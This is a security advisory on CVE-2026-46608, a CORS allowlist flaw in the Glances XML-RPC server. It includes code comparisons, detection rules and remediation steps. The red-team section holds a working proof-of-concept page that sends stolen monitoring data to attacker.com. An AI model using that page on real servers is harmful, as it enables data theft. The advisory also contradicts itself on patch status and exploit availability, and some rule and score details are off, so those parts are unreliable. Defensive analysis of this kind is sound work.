CVE-2026-46608

Executive Summary

CVE-2026-46608 is a critical vulnerability in the Glances open-source system monitoring tool affecting versions prior to 4.5.5. The flaw resides in the XML-RPC server (glances -s) and its CORS (Cross-Origin Resource Sharing) implementation. Introduced in version 4.5.3 as a mitigation for CVE-2026-33533, the feature allows operators to configure a list of allowed origins. However, due to a logic error, when the cors_origins configuration contains more than one entry, the server silently falls back to the wildcard Access-Control-Allow-Origin: *. This means any website can make cross-origin requests to the Glances XML-RPC endpoint (/RPC2) and exfiltrate the full system monitoring dataset, including sensitive system metrics, process lists, and network information. The vulnerability has a CVSS score of 7.4 (High) and is currently unpatched in affected versions. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

Glances is a Python package distributed via PyPI. This vulnerability affects the core application logic, not a dependency. However, organizations using Glances in containerized or orchestrated environments should verify they are not pulling vulnerable images. The package is widely used for system monitoring in DevOps and IT operations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.4 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – The victim does not need to click or interact.
• Scope: Unchanged (S:U) – The vulnerable component and the attacker's scope are the same.
• Confidentiality Impact: High (C:H) – Full system monitoring data is exposed.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – Service availability is not affected.

Threat Level: High. The vulnerability allows any website to silently read sensitive system data from a Glances XML-RPC server. This is particularly dangerous in internal networks where Glances is used for monitoring.

Deep Dive & Mechanics

The Glances XML-RPC server listens on a configurable port (default 61209) and exposes the /RPC2 endpoint. To prevent cross-origin attacks, version 4.5.3 introduced a CORS origin allowlist. The intended behavior is to check the Origin header of incoming requests against the configured list and set the Access-Control-Allow-Origin header accordingly.

The flaw is in the validation logic. When cors_origins contains exactly one entry, the server correctly sets the header to that single origin. However, when the list contains two or more entries, the code incorrectly falls back to *. This is likely due to a conditional that only handles the single-entry case and defaults to a wildcard for all other cases.

An attacker can host a malicious webpage that makes a simple CORS request (e.g., using fetch or XMLHttpRequest) to the victim's Glances server. Because the server responds with Access-Control-Allow-Origin: *, the browser allows the cross-origin read. The attacker can then parse the XML-RPC response and exfiltrate the data.

The vulnerable code path is in the CORS middleware of the XML-RPC server. The fix in 4.5.5 properly iterates over the allowlist and sets the header only if the request origin matches an entry.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

def set_cors_headers(response, request):
    origin = request.headers.get('Origin')
    if len(cors_origins) == 1:
        if origin == cors_origins[0]:
            response.headers['Access-Control-Allow-Origin'] = origin
    else:
        # BUG: Falls back to wildcard for multiple entries
        response.headers['Access-Control-Allow-Origin'] = '*'

Patched Code (conceptual):

def set_cors_headers(response, request):
    origin = request.headers.get('Origin')
    if origin in cors_origins:
        response.headers['Access-Control-Allow-Origin'] = origin
    else:
        response.headers['Access-Control-Allow-Origin'] = 'null'

The patched version correctly checks if the request origin is in the allowlist, regardless of the list size.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of Glances (e.g., 4.5.3 or 4.5.4) on a target machine.
2. Start the XML-RPC server with a multi-entry CORS allowlist:

   glances -s --cors-origins http://dashboard1.example.com http://dashboard2.example.com
   

3. On an attacker machine, host a malicious HTML page:

   <!DOCTYPE html>
   <html>
   <body>
   <script>
   fetch('http://target:61209/RPC2', {
       method: 'POST',
       headers: {'Content-Type': 'text/xml'},
       body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
   })
   .then(response => response.text())
   .then(data => {
       // Exfiltrate data
       new Image().src = 'http://attacker.com/exfil?data=' + encodeURIComponent(data);
   });
   </script>
   </body>
   </html>
   

4. Lure a victim with access to the Glances server to visit the malicious page. The browser will send a CORS request and the server will respond with Access-Control-Allow-Origin: *, allowing the attacker to read the response.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unexpected Origin headers in requests to /RPC2.
• Look for Access-Control-Allow-Origin: * in server responses.
• Alert on multiple CORS origins configured in Glances configuration files.

Hunting:

• Search for Glances servers with cors_origins containing more than one entry.
• Review web proxy logs for cross-origin requests to port 61209.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /RPC2 with Origin header not matching expected internal domains.
• Response: HTTP response with Access-Control-Allow-Origin: * from a Glances server.
• Configuration: Glances configuration file containing cors_origins with multiple entries.
• Process: glances -s process running with --cors-origins flag specifying more than one origin.

Detection Engineering

YARA Rule

rule CVE_2026_46608_Glances_CORS_Bypass {
    meta:
        description = "Detects Glances XML-RPC server responses with wildcard CORS header"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-46608"
    strings:
        $cors_wildcard = "Access-Control-Allow-Origin: *"
        $rpc2 = "/RPC2"
    condition:
        $cors_wildcard and $rpc2
}

Sigma Rule

title: Glances XML-RPC CORS Wildcard Response
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Glances XML-RPC server responses with Access-Control-Allow-Origin: *
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: glances
detection:
    selection:
        response_header: "Access-Control-Allow-Origin: *"
        request_uri: "/RPC2"
    condition: selection
falsepositives:
    - Legitimate use of wildcard CORS (not recommended)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-46608 Glances XML-RPC CORS Wildcard"; flow:to_server; content:"/RPC2"; http_uri; content:"Access-Control-Allow-Origin: *"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Glances to version 4.5.5 or later.
2. If upgrade is not possible, restrict network access to the Glances XML-RPC server using firewall rules.
3. Remove any multi-entry CORS allowlists from the configuration.

Long-term:

1. Implement network segmentation to isolate monitoring tools.
2. Use a reverse proxy (e.g., Nginx) to add proper CORS validation.
3. Monitor for CVE-2026-46608 exploitation attempts using the provided detection rules.

Workaround:

• Configure only a single origin in cors_origins if multiple origins are not strictly required.
• Disable the XML-RPC server if not needed.

Valters IT
DevSecOps & Cyber Threat Intelligence